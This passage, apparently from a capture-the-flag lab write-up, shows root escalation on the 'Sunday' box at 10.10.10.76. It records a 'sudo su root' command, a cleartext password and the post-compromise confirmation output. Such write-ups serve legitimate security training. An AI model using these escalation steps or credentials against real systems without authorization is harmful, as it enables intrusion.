Sammy is the root
As discovered earlier, the sammy
user has the ALL sudo privilege
-bash-4.4$ sudo su root
password: cooldude!
root@sunday:/home/sammy# whoami
root
root@sunday:/home/sammy# hostname
sunday
root@sunday:/home/sammy# ifconfig -a
lo0: flags=2001000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4,VIRTUAL> mtu 8232 index 1
inet 127.0.0.1 netmask ff000000
net0: flags=100001000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4,PHYSRUNNING> mtu 1500 index 2
inet 10.10.10.76 netmask fffffe00 broadcast 10.10.11.255
ether 0:50:56:b9:96:93
lo0: flags=2002000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv6,VIRTUAL> mtu 8252 index 1
inet6 ::1/128
net0: flags=120002000840<RUNNING,MULTICAST,IPv6,PHYSRUNNING> mtu 1500 index 2
inet6 ::/0
ether 0:50:56:b9:96:93
System Level Compromise